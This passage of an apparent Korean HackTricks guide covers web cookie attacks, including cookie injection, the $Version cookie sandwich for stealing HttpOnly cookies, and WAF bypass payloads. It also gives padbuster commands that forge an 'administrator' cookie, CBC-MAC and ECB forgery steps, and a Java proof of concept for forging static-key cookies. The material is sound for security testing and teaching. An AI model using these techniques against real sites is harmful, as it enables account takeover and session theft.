document.cookie = "\ud800=meep"

์ด๋กœ ์ธํ•ด document.cookie๋Š” ๋นˆ ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•˜๊ฒŒ ๋˜๋ฉฐ, ์ด๋Š” ์˜๊ตฌ์ ์ธ ์†์ƒ(corruption)์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

(Check further details in theoriginal research) Java (Jetty, TomCat, Undertow) ๋ฐ Python (Zope, cherrypy, web.py, aiohttp, bottle, webob)์„ ํฌํ•จํ•œ ์—ฌ๋Ÿฌ ์›น ์„œ๋ฒ„๋Š” ์˜ค๋ž˜๋œ RFC2965 ์ง€์›์œผ๋กœ ์ธํ•ด cookie ๋ฌธ์ž์—ด์„ ์ž˜๋ชป ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ ํฐ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ผ cookie ๊ฐ’์„, ์„ธ๋ฏธ์ฝœ๋ก (ํ†ต์ƒ์ ์œผ๋กœ key-value ์Œ์„ ๊ตฌ๋ถ„ํ•จ)์ด ํฌํ•จ๋˜์–ด ์žˆ์–ด๋„ ํ•˜๋‚˜์˜ ๊ฐ’์œผ๋กœ ์ฝ์Šต๋‹ˆ๋‹ค:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) ์„œ๋ฒ„์—์„œ ์ฟ ํ‚ค๋ฅผ ์ž˜๋ชป ํŒŒ์‹ฑํ•˜๋Š” ๋ฌธ์ œ, ํŠนํžˆ Undertow, Zope, ๊ทธ๋ฆฌ๊ณ  Python์˜ http.cookie.SimpleCookie ๋ฐ http.cookie.BaseCookie๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๋Š” cookie injection ๊ณต๊ฒฉ์˜ ๊ธฐํšŒ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„œ๋ฒ„๋“ค์€ ์ƒˆ ์ฟ ํ‚ค์˜ ์‹œ์ž‘์„ ์ œ๋Œ€๋กœ ๊ตฌ๋ถ„ํ•˜์ง€ ๋ชปํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ฟ ํ‚ค๋ฅผ ์Šคํ‘ธํ•‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Undertow๋Š” ์ธ์šฉ๋œ ๊ฐ’ ๋ฐ”๋กœ ๋‹ค์Œ์— ์„ธ๋ฏธ์ฝœ๋ก  ์—†์ด ์ƒˆ ์ฟ ํ‚ค๊ฐ€ ์˜ค๊ธฐ๋ฅผ ๊ธฐ๋Œ€ํ•ฉ๋‹ˆ๋‹ค.
  • Zope๋Š” ๋‹ค์Œ ์ฟ ํ‚ค ํŒŒ์‹ฑ์„ ์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ์ฝค๋งˆ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
  • Python์˜ cookie ํด๋ž˜์Šค๋Š” ๊ณต๋ฐฑ ๋ฌธ์ž์—์„œ ํŒŒ์‹ฑ์„ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ cookie ๊ธฐ๋ฐ˜ CSRF ๋ณดํ˜ธ์— ์˜์กดํ•˜๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํŠนํžˆ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์Šคํ‘ธํ”„๋œ CSRF-ํ† ํฐ ์ฟ ํ‚ค๋ฅผ ์ฃผ์ž…ํ•ด ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. Python์ด ์ค‘๋ณต๋œ ์ฟ ํ‚ค ์ด๋ฆ„์„ ์ฒ˜๋ฆฌํ•  ๋•Œ ๋งˆ์ง€๋ง‰ ํ•ญ๋ชฉ์ด ์ด์ „ ํ•ญ๋ชฉ์„ ๋ฎ์–ด์“ฐ๋Š” ๋ฐฉ์‹์€ ๋ฌธ์ œ๋ฅผ ์•…ํ™”์‹œํ‚ต๋‹ˆ๋‹ค. ๋˜ํ•œ __Secure- ๋ฐ __Host- ์ฟ ํ‚ค๊ฐ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์ปจํ…์ŠคํŠธ์—์„œ ๋ฌธ์ œ๊ฐ€ ๋  ์ˆ˜ ์žˆ๊ณ , ์ฟ ํ‚ค๊ฐ€ ์Šคํ‘ธํ•‘์— ์ทจ์•ฝํ•œ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋กœ ์ „๋‹ฌ๋  ๋•Œ ๊ถŒํ•œ ์šฐํšŒ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Cookies $version

WAF Bypass

According to this blogpost, ๋ฐฑ์—”๋“œ๊ฐ€ RFC2109 ๋•Œ๋ฌธ์— ์ฟ ํ‚ค๋ฅผ ํŒŒ์‹ฑํ•  ๋•Œ ์˜ค๋ž˜๋œ ๋กœ์ง์„ ์‚ฌ์šฉํ•˜๋„๋ก ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ์ฟ ํ‚ค ์†์„ฑ $Version=1 ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ $Domain, $Path ๊ฐ™์€ ๋‹ค๋ฅธ ๊ฐ’๋“ค๋„ ์ฟ ํ‚ค๋กœ ๋ฐฑ์—”๋“œ์˜ ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

According to this blogpost cookie sandwich technique์„ ์‚ฌ์šฉํ•ด HttpOnly ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์š”๊ตฌ ์กฐ๊ฑด๊ณผ ๋‹จ๊ณ„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์‘๋‹ต์— ๊ฒ‰๋ณด๊ธฐ์— ์“ธ๋ชจ์—†๋Š” cookie๊ฐ€ ๋ฐ˜์˜(reflected)๋˜๋Š” ์œ„์น˜๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
  • ๋” ํŠน์ •ํ•œ ๊ฒฝ๋กœ(path)๋ฅผ ๊ฐ–๋„๋ก ํ•˜์—ฌ ์ดˆ๊ธฐ ์œ„์น˜๋ฅผ ์ฐจ์ง€ํ•˜๊ฒŒ๋” ๊ฐ’์ด 1์ธ $Version์ด๋ผ๋Š” cookie๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค (XSS ๊ณต๊ฒฉ์—์„œ JS๋กœ ์ด๊ฒƒ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). (์ผ๋ถ€ ํ”„๋ ˆ์ž„์›Œํฌ, ์˜ˆ: python์—์„œ๋Š” ์ด ๋‹จ๊ณ„๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.)
  • ๋ฐ˜์˜๋˜๋Š” cookie๋ฅผ ์ƒ์„ฑํ•˜๋˜ ๊ฐ’์ด ์—ด๋ฆฐ ํฐ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‚จ๊ธฐ๊ณ , ํŠน์ • ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•ด ์ด์ „์— ๋งŒ๋“  ($Version) ์ฟ ํ‚ค ๋‹ค์Œ์— ์ฟ ํ‚ค DB์— ์œ„์น˜ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฌ๋ฉด ์ •์ƒ ์ฟ ํ‚ค๋Š” ์ˆœ์„œ์ƒ ๊ทธ ๋‹ค์Œ์— ์˜ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
  • ๊ฐ’ ์•ˆ์— ํฐ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๋Š” ๋”๋ฏธ ์ฟ ํ‚ค(dummy cookie)๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ”ผํ•ด์ž์˜ ์ฟ ํ‚ค๊ฐ€ ์ƒˆ ๋ฒ„์ „์˜ cookie ๋‚ด๋ถ€์— ๊ฐ‡ํžˆ๊ฒŒ ๋˜๊ณ  ํ•ด๋‹น ์ฟ ํ‚ค๊ฐ€ ๋ฐ˜์˜๋  ๋•Œ๋งˆ๋‹ค ํ•จ๊ป˜ ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF ์šฐํšŒ

Cookies $version

์ด์ „ ์„น์…˜์„ ํ™•์ธํ•˜์„ธ์š”.

quoted-string encoding์„ ์ด์šฉํ•œ value ๋ถ„์„ ์šฐํšŒ

์ด ํŒŒ์‹ฑ์€ cookies ๋‚ด๋ถ€์˜ ์ด์Šค์ผ€์ดํ”„๋œ ๊ฐ’์„ ์–ธ์ด์Šค์ผ€์ดํ”„(unescape)ํ•˜๋„๋ก ์ง€์‹œํ•˜๋ฏ€๋กœ โ€œ\aโ€œ๋Š” โ€œaโ€œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” WAFS๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

RFC2109์—๋Š” comma๊ฐ€ cookie ๊ฐ’๋“ค ์‚ฌ์ด์˜ ๊ตฌ๋ถ„์ž๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๋ช…์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋“ฑํ˜ธ(=) ์•ž๋’ค์— ๊ณต๋ฐฑ๊ณผ ํƒญ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ $Version=1; foo=bar, abc = qux ๊ฐ™์€ cookie๋Š” "foo":"bar, admin = qux"๋ผ๋Š” cookie๋ฅผ ์ƒ์„ฑํ•˜์ง€ ์•Š๊ณ , ๋Œ€์‹  foo":"bar"์™€ "admin":"qux"๋ผ๋Š” ๋‘ cookie๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. 2๊ฐœ์˜ cookie๊ฐ€ ์ƒ์„ฑ๋˜๋Š” ๋ฐฉ์‹๊ณผ admin์˜ ๋“ฑํ˜ธ ์•ž๋’ค ๊ณต๋ฐฑ์ด ์ œ๊ฑฐ๋˜๋Š” ๊ฒƒ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”.

๋งˆ์ง€๋ง‰์œผ๋กœ, ์„œ๋กœ ๋‹ค๋ฅธ backdoors๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅธ cookie headers์— ์ „๋‹ฌ๋œ ์„œ๋กœ ๋‹ค๋ฅธ cookies๋ฅผ ํ•˜๋‚˜์˜ ๋ฌธ์ž์—ด๋กœ ๊ฒฐํ•ฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

์ด๋Š” ๋‹ค์Œ ์˜ˆ์™€ ๊ฐ™์ด WAF๋ฅผ bypassํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

์ถ”๊ฐ€ ์ทจ์•ฝํ•œ Cookies ์ ๊ฒ€

๊ธฐ๋ณธ ๊ฒ€์‚ฌ

  • cookie๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ๋งˆ๋‹ค ๊ฐ™์€์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ๋กœ๊ทธ์•„์›ƒํ•œ ๋’ค ๋™์ผํ•œ cookie๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”.
  • ๋™์ผํ•œ ๊ณ„์ •์— ๋Œ€ํ•ด 2๋Œ€์˜ ๋””๋ฐ”์ด์Šค(๋˜๋Š” ๋ธŒ๋ผ์šฐ์ €)์—์„œ ๋™์ผํ•œ cookie๋กœ ๋กœ๊ทธ์ธํ•ด ๋ณด์„ธ์š”.
  • cookie์— ์–ด๋–ค ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์ˆ˜์ •ํ•ด ๋ณด์„ธ์š”.
  • ๊ฑฐ์˜ ๋™์ผํ•œ username์œผ๋กœ ์—ฌ๋Ÿฌ ๊ณ„์ •์„ ๋งŒ๋“ค์–ด ์œ ์‚ฌ์ ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ์กด์žฌํ•œ๋‹ค๋ฉด โ€œremember meโ€ ์˜ต์…˜์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋‹ค๋ฉด ํ•ญ์ƒ ๋‹ค๋ฅธ cookie ์—†์ด remember me์˜ cookie๋งŒ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•œ ํ›„์—๋„ ์ด์ „ cookie๊ฐ€ ์ž‘๋™ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

๊ณ ๊ธ‰ cookies ๊ณต๊ฒฉ

๋กœ๊ทธ์ธํ•  ๋•Œ cookie๊ฐ€ ๋™์ผํ•˜๊ฑฐ๋‚˜ ๊ฑฐ์˜ ๋™์ผํ•˜๋‹ค๋ฉด, ํ•ด๋‹น cookie๊ฐ€ ๊ณ„์ •์˜ ์–ด๋–ค ํ•„๋“œ(์•„๋งˆ๋„ username)์™€ ์—ฐ๊ด€๋˜์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ ๋‹ค์Œ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋งค์šฐ ์œ ์‚ฌํ•œ username์„ ๊ฐ€์ง„ ๋งŽ์€ ๊ณ„์ •์„ ์ƒ์„ฑํ•ด ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์ถ”์ธกํ•ด ๋ณด์„ธ์š”.
  • bruteforce the username๋ฅผ ์‹œ๋„ํ•˜์„ธ์š”. cookie๊ฐ€ ๋‹จ์ง€ username์— ๋Œ€ํ•œ ์ธ์ฆ ์ˆ˜๋‹จ์œผ๋กœ๋งŒ ์ €์žฅ๋œ๋‹ค๋ฉด, username์„ โ€œBminโ€œ์œผ๋กœ ๊ณ„์ •์„ ์ƒ์„ฑํ•˜๊ณ  cookie์˜ ๋ชจ๋“  bit๋ฅผ bruteforceํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค โ€” ์‹œ๋„ํ•  cookie๋“ค ์ค‘ ํ•˜๋‚˜๋Š” โ€œadminโ€œ์—๊ฒŒ ์†ํ•œ cookie์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • Padding Oracle์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š” (cookie์˜ ๋‚ด์šฉ์„ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). padbuster๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster๋Š” ์—ฌ๋Ÿฌ ๋ฒˆ ์‹œ๋„ํ•œ ๋’ค ์–ด๋–ค ์กฐ๊ฑด์ด ์˜ค๋ฅ˜ ์กฐ๊ฑด์ธ์ง€(์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฒƒ)๋ฅผ ๋ฌป์Šต๋‹ˆ๋‹ค.

๊ทธ๋‹ค์Œ์— decrypting the cookie๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค(๋ช‡ ๋ถ„ ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

๊ณต๊ฒฉ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์ˆ˜ํ–‰๋˜์—ˆ๋‹ค๋ฉด, ์›ํ•˜๋Š” ๋ฌธ์ž์—ด์„ encryptํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

์ด ์‹คํ–‰์€ ๋ฌธ์ž์—ด user=administrator ๋ฅผ ํฌํ•จํ•œ ์ฟ ํ‚ค๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์•”ํ˜ธํ™”ํ•˜๊ณ  ์ธ์ฝ”๋”ฉ๋œ ์ƒํƒœ๋กœ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

CBC-MAC

์ฟ ํ‚ค์— ์–ด๋–ค ๊ฐ’์ด ๋“ค์–ด์žˆ๊ณ  CBC๋ฅผ ์‚ฌ์šฉํ•ด ์„œ๋ช…๋˜์—ˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๊ฐ’์˜ ๋ฌด๊ฒฐ์„ฑ์€ ๊ฐ™์€ ๊ฐ’์œผ๋กœ CBC๋ฅผ ์‚ฌ์šฉํ•ด ์ƒ์„ฑํ•œ ์„œ๋ช…์ด ๋ฉ๋‹ˆ๋‹ค. IV๋กœ ๋„ ๋ฒกํ„ฐ(null vector)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋˜๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋Ÿฌํ•œ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๋Š” ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

The attack

  1. username administ ์˜ ์„œ๋ช…์„ ์–ป๋Š”๋‹ค = t
  2. username rator\x00\x00\x00 XOR t ์˜ ์„œ๋ช…์„ ์–ป๋Š”๋‹ค = tโ€™
  3. ์ฟ ํ‚ค์— ๊ฐ’ administrator+tโ€™ ๋ฅผ ์„ค์ •ํ•œ๋‹ค (tโ€™ ๋Š” (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 ์˜ ์œ ํšจํ•œ ์„œ๋ช…์ด ๋œ๋‹ค)

ECB

์ฟ ํ‚ค๊ฐ€ ECB๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋กœ๊ทธ์ธํ•  ๋•Œ ๋ฐ›๋Š” ์ฟ ํ‚ค๋Š” ํ•ญ์ƒ ๋™์ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

How to detect and attack:

๊ฑฐ์˜ ๋™์ผํ•œ ๋ฐ์ดํ„ฐ (username, password, email ๋“ฑ)๋ฅผ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž 2๋ช…์„ ์ƒ์„ฑํ•˜๊ณ  ๋ฐœ๊ธ‰๋œ ์ฟ ํ‚ค์—์„œ ํŒจํ„ด์„ ์ฐพ์•„๋ณด์„ธ์š”

์˜ˆ๋ฅผ ๋“ค์–ด โ€œaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaโ€ ๋ผ๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ๋งŒ๋“ค๊ณ  ์ฟ ํ‚ค์— ํŒจํ„ด์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

๋ธ”๋ก ํฌ๊ธฐ๋งŒํผ์˜ ํŒจํ„ด์ด ๋ณด์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. So, knowing how are a bunch of โ€œaโ€ encrypted you can create a username: โ€œaโ€*(size of the block)+โ€œadminโ€. Then, you could delete the encrypted pattern of a block of โ€œaโ€ from the cookie. And you will have the cookie of the username โ€œadminโ€.

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

  • Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
  • Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
  • Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
  • Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) used in the wild ```java import cryptix.provider.cipher.IDEA; import cryptix.provider.key.IDEAKeyGenerator; import cryptix.util.core.Hex; import java.security.Key; import java.security.KeyException; import java.io.UnsupportedEncodingException;

public class App { private String ideaKey = โ€œ1234567890123456โ€; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA encrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); encrypt.initEncrypt(key); } catch (KeyException e) { return null; } if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) { for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) { plain = plain + โ€œ โ€œ; // space padding } } byte[] encrypted = encrypt.update(plain.getBytes()); return Hex.toString(encrypted); // cookie expects hex }

public String decode(String chiffre) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA decrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); decrypt.initDecrypt(key); } catch (KeyException e) { return null; } byte[] decrypted = decrypt.update(Hex.fromString(chiffre)); try { return new String(decrypted, โ€œISO_8859-1โ€).trim(); } catch (UnsupportedEncodingException e) { return null; } }

public void setKey(String key) { this.ideaKey = key; } }

</details>์ปจํ…์ŠคํŠธ (์˜ˆ: server-side session with random ID, ๋˜๋Š” anti-replay properties๋ฅผ ์ถ”๊ฐ€).

## ์ฐธ๊ณ ์ž๋ฃŒ

- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action โ€“ CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>